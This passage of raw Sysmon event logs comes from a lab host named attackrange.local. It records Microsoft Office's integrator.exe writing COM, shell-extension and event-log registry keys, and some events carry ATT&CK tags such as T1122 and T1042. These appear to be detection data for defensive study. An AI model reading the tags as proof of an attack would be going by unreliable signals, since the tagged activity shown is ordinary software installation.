Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\MSSOAP\TypesSupportedDWORD (0x00000001) 13241300x800000000000000041527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\Microsoft Office 16\TypesSupportedDWORD (0x00000007) 13241300x800000000000000041526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\Microsoft Office 16\EventMessageFileC:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSORES.DLL;C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE 13241300x800000000000000041525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\OAlerts\Microsoft Office 16 Alerts\TypesSupportedDWORD (0x00000007) 13241300x800000000000000041524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\OAlerts\Microsoft Office 16 Alerts\EventMessageFileC:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\OFFREL.DLL 13241300x800000000000000041523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\OAlerts\RetentionDWORD (0x00000000) 13241300x800000000000000041522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\OAlerts\PrimaryModuleOAlerts 13241300x800000000000000041521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\OAlerts\MaxSizeDWORD (0x00020000) 13241300x800000000000000041520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\OAlerts\DisplayNameIDDWORD (0x00000066) 13241300x800000000000000041519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\OAlerts\DisplayNameFileC:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\OFFREL.DLL 13241300x800000000000000041518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{D66DC78C-4F61-447F-942B-3FB6980118CF}{D66DC78C-4F61-447F-942B-3FB6980118CF} 13241300x800000000000000041517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{506F4668-F13E-4AA1-BB04-B43203AB3CC0}{506F4668-F13E-4AA1-BB04-B43203AB3CC0} 13241300x800000000000000041516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{D66DC78C-4F61-447F-942B-3FB6980118CF}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\VISSHE.DLL 13241300x800000000000000041515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{A394DCA9-3727-11D4-BD85-00C04F6B93A4}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\VISSHE.DLL 13241300x800000000000000041514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{506F4668-F13E-4AA1-BB04-B43203AB3CC0}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\VISSHE.DLL 13241300x800000000000000041513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{6939BF8D-FF94-492C-9E4E-BD6439D8F867}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\VVIEWDWG.DLL 13241300x800000000000000041512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.674{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{550D0110-8DCD-11D1-8524-00A02495E426}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\VVIEWDWG.DLL 13241300x800000000000000041511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.659{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{000D0E00-0000-0000-C000-000000001157}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\VVIEWDWG.DLL 13241300x800000000000000041510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.659{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{6939BF8D-FF94-492C-9E4E-BD6439D8F867}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\VVIEWDWG.DLL 13241300x800000000000000041509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.659{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{550D0110-8DCD-11D1-8524-00A02495E426}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\VVIEWDWG.DLL 13241300x800000000000000041508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.659{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{000D0E00-0000-0000-C000-000000001157}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\VVIEWDWG.DLL 13241300x800000000000000041507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.659{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\VisioViewer.Viewer\shell\open\ddeexec\Application\(Default)IExplore 13241300x800000000000000041506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.659{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\VisioViewer.Viewer\shell\open\ddeexec\(Default)"file:%%1",,-1,,,,, 13241300x800000000000000041505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.659{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\VisioViewer.Viewer\shell\open\ddeexec\Topic\(Default)WWW_OpenURL 13241300x800000000000000041504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:44:09.659{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\VisioViewer.Viewer\shell\open\command\(Default)"%%ProgramFiles%%\Internet Explorer\iexplore.exe" -nohome 13241300x800000000000000041503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.659{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{F8CF7A98-2C45-4c8d-9151-2D716989DDAB}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\VisioViewer.Viewer\shell\open\ddeexec\Application\(Default)IExplore 13241300x800000000000000041501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\VisioViewer.Viewer\shell\open\ddeexec\(Default)"file:%%1",,-1,,,,, 13241300x800000000000000041500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\VisioViewer.Viewer\shell\open\ddeexec\Topic\(Default)WWW_OpenURL 13241300x800000000000000041499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\VisioViewer.Viewer\shell\open\command\(Default)"%%ProgramFiles%%\Internet Explorer\iexplore.exe" -nohome 13241300x800000000000000041498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{F8CF7A98-2C45-4c8d-9151-2D716989DDAB}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 10341000x800000000000000041497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.643{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-A708-00000000F001}3344C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000041496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{355822FC-86F1-4BE8-B5F0-A33736789641}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{AFE9E2F0-5BBA-4169-A33B-EE3727AC3482}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{35C5242B-7455-4F9C-962B-369EA43ED6F3}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{72B66649-3DBF-429F-BD6F-7774A9784B78}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{C41662BB-1FA0-4CE0-8DC5-9B7F8279FF97}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{5985FC23-2588-4D9A-B38B-7E7AFFAB3155}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{5383EF74-273B-4278-AB0C-CDAA9FD5369E}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{01BE4CFB-129A-452B-A209-F9D40B3B84A5}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{33154C99-BF49-443D-A73C-303A23ABBE97}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{E3956DCF-D1C7-4375-AAAA-22FF8191C479}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\msoshext.dll 13241300x800000000000000041486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{355822FC-86F1-4BE8-B5F0-A33736789641}Microsoft Word Thumbnail Handler 13241300x800000000000000041485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{AFE9E2F0-5BBA-4169-A33B-EE3727AC3482}Microsoft Visio Thumbnail Handler 13241300x800000000000000041484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{35C5242B-7455-4F9C-962B-369EA43ED6F3}Microsoft PowerPoint Thumbnail Handler 13241300x800000000000000041483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{72B66649-3DBF-429F-BD6F-7774A9784B78}Microsoft Excel Thumbnail Handler 13241300x800000000000000041482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{C41662BB-1FA0-4CE0-8DC5-9B7F8279FF97}Microsoft Access Thumbnail Handler 13241300x800000000000000041481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{5985FC23-2588-4D9A-B38B-7E7AFFAB3155}Microsoft Word Metadata Handler 13241300x800000000000000041480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{5383EF74-273B-4278-AB0C-CDAA9FD5369E}Microsoft Visio Metadata Handler 13241300x800000000000000041479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{01BE4CFB-129A-452B-A209-F9D40B3B84A5}Microsoft PowerPoint Metadata Handler 13241300x800000000000000041478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{33154C99-BF49-443D-A73C-303A23ABBE97}Microsoft Excel Metadata Handler 13241300x800000000000000041477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:09.643{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{E3956DCF-D1C7-4375-AAAA-22FF8191C479}Microsoft Access Metadata Handler 18141800x800000000000000041476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.643{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.643{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.643{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000041473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{AB968F1E-E20B-403A-9EB8-72EB0EB6797E}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\msoxev.dll 13241300x800000000000000041472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{EFBD9A69-66AF-4D44-BB36-D477E5014216}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\OSFROAMINGPROXY.DLL 13241300x800000000000000041471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{5C615ED6-4F9F-48BE-8D84-17409196DE36}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\OSFPROXY.DLL 13241300x800000000000000041470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{83C25742-A9F7-49FB-9138-434302C88D07}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL 13241300x800000000000000041469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{42089D2D-912D-4018-9087-2B87803E93FB}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL 13241300x800000000000000041468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{42089D2D-912D-4018-9087-2B87803E93FB}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL 13241300x800000000000000041467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{5504BE45-A83B-4808-900A-3A5C36E7F77A}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL 13241300x800000000000000041466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{68CED213-317D-3F27-9036-A33240DA522E}\InprocServer32\(Default)mscoree.dll 10341000x800000000000000041465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.627{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-A708-00000000F001}3344C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 13241300x800000000000000041464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{1227B818-7298-3D68-AC55-DDDA56EE56E1}\InprocServer32\(Default)mscoree.dll 10341000x800000000000000041463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.627{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-A708-00000000F001}3344C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000041462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{07B06095-5687-4D13-9E32-12B4259C9813}\InprocServer32\(Default)mscoree.dll 13241300x800000000000000041461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\WOW6432Node\CLSID\{CDEC13B2-0B3C-400E-B909-E27EE89C6799}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\Interceptor.dll 13241300x800000000000000041460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:09.627{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{E18FEC31-2EA1-49A2-A7A6-902DC0D1FF05}\InprocServer32\(Default)C:\Program Files\Microsoft 